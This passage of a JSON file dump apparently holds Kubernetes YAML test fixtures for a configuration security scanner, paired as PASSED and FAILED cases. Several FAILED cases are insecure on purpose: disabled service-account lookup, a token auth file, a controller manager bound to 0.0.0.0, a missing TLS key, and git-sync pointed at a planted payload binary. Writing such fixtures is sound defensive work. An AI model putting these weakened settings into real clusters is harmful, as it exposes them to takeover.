    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=SecurityContextDeny\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountKeyFile/ApiServerServiceAccountKeyFile-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --service-account-key-file=sdfsdf\\dsadsapem\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountKeyFile/ApiServerServiceAccountKeyFile-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --service-account-key-file=/keys/key.pem\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --service-account-lookup=false\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountLookup/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --service-account-lookup=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountPlugin/ApiServerServiceAccountPlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerServiceAccountPlugin/ApiServerServiceAccountPlugin-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=ServiceAccount\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerStrongCryptographicCiphers/ApiServerStrongCryptographicCiphers-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_64_GCM_SHA256    \n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerStrongCryptographicCiphers/ApiServerStrongCryptographicCiphers-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-no-key\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --tls-cert-file=/path/to/cert\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED-3.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-key-and-cert-empty\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --tls-cert-file\n    - --tls-private-key-file= \n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-FAILED.yaml",
    "content": "\napiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-missing\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTlsCertAndKey/ApiServer-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-key-and-cert\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --tls-cert-file=/path/to/cert\n    - --tls-private-key-file=/path/to/key\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-pass\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTokenAuthFile/ApiServerTokenAuthFile-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --token-auth-file=some_file\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerTokenAuthFile/ApiServerTokenAuthFile-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerkubeletCertificateAuthority/ApiServerkubeletCertificateAuthority-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerkubeletCertificateAuthority/ApiServerkubeletCertificateAuthority-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --kubelet-certificate-authority=ca.file\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-FAILED-2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    - --bind-address=0.0.0.0\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ControllerManagerBindAddress/ControllerManagerBindAddress-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-controller-manager\n    - --bind-address=127.0.0.1\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DangerousGitSync/Deployment-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: fail-deployment\n  namespace: default\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      name: blog\n  template:\n    metadata:\n      labels:\n        name: blog\n    spec:\n      containers:\n      - name: git-sync\n        image: registry.k8s.io/git-sync\n        args:\n          - -v=5\n        volumeMounts:\n        - name: markdown\n          mountPath: /tmp/git\n        - name: test\n          mountPath: /tmp/payload\n        env:\n        - name: GITSYNC_REPO\n          value: https://github.com/foo/bar.git\n        - name: GITSYNC_GIT\n          value: /tmp/payload/payload\n      volumes:\n      - name: markdown\n        emptyDir: {}\n      - name: test\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DangerousGitSync/Deployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: blog-deployment-no-git-sync-git\n  namespace: default\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      name: blog-no-git-sync-git\n  template:\n    metadata:\n      labels:\n        name: blog-no-git-sync-git\n    spec:\n      containers:\n      - name: git-sync\n        image: registry.k8s.io/git-sync\n        args:\n          - -v=5\n        volumeMounts:\n        - name: markdown\n          mountPath: /tmp/git\n        - name: test\n          mountPath: /tmp/payload\n        env:\n        - name: GITSYNC_REPO\n          value: https://github.com/foo/bar.git\n      volumes:\n      - name: markdown\n        emptyDir: {}\n      - name: test\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DangerousGitSync/Deployment2-FAILED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: fail-deployment2\n  namespace: default\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      name: blog\n  template:\n    metadata:\n      labels:\n        name: blog\n    spec:\n      initContainers:\n      - name: git-sync\n        image: registry.k8s.io/git-sync\n        args:\n          - -v=5\n        volumeMounts:\n        - name: markdown\n          mountPath: /tmp/git\n        - name: test\n          mountPath: /tmp/payload\n        env:\n        - name: GITSYNC_REPO\n          value: https://github.com/foo/bar.git\n        - name: GITSYNC_GIT\n          value: /tmp/payload/payload\n      volumes:\n      - name: markdown\n        emptyDir: {}\n      - name: test\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultNamespace/default-k8s-service-and-sa-PASSED2.yaml",
    "content": "apiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: default\n  namespace: default\nsecrets:\n  - name: default-token-tgp9r\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: default\nsecrets:\n  - name: default-token-tgp9r\n---\napiVersion: v1\nkind: Service\nmetadata:\n  creationTimestamp: \"2020-05-26T15:59:43Z\"\n  labels:\n    component: apiserver\n    provider: kubernetes\n  name: kubernetes\n  namespace: default\n  resourceVersion: \"148\"\n  selfLink: /api/v1/namespaces/default/services/kubernetes\n  uid: 288b4e4d-9706-4780-b594-39f1abd2a715\nspec:\n  clusterIP: 172.20.0.1\n  ports:\n    - name: https\n      port: 443\n      protocol: TCP\n      targetPort: 443\n  sessionAffinity: None\n  type: ClusterIP\nstatus:\n  loadBalancer: {}\n---\napiVersion: v1\nkind: Service\nmetadata:\n  creationTimestamp: \"2020-05-26T15:59:43Z\"\n  labels:\n    component: apiserver\n    provider: kubernetes\n  name: kubernetes\n  resourceVersion: \"148\"\n  selfLink: /api/v1/namespaces/default/services/kubernetes\n  uid: 288b4e4d-9706-4780-b594-39f1abd2a715\nspec:\n  clusterIP: 172.20.0.1\n  ports:\n    - name: https\n      port: 443\n      protocol: TCP\n      targetPort: 443\n  sessionAffinity: None\n  type: ClusterIP\nstatus:\n  loadBalancer: {}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultNamespace/nginx-statefulset-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: nginx\n  labels:\n    app: nginx\nspec:\n  ports:\n  - port: 80\n    name: web\n  clusterIP: None\n  selector:\n    app: nginx\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: web\nspec:\n  selector:\n    matchLabels:\n      app: nginx # has to match .spec.template.metadata.labels\n  serviceName: \"nginx\"\n  replicas: 3 # by default is 1\n  template:\n    metadata:\n      labels:\n        app: nginx # has to match .spec.selector.matchLabels\n    spec:\n      terminationGracePeriodSeconds: 10\n      containers:\n      - name: nginx\n        image: k8s.gcr.io/nginx-slim:0.8\n        ports:\n        - containerPort: 80\n          name: web\n        volumeMounts:\n        - name: www\n          mountPath: /usr/share/nginx/html\n  volumeClaimTemplates:\n  - metadata:\n      name: www\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: \"my-storage-class\"\n      resources:\n        requests:\n          storage: 1Gi\n"
  },
  {
    "path": "tests/kubernetes/checks/example_DefaultNamespace/scope-PASSED.yaml",
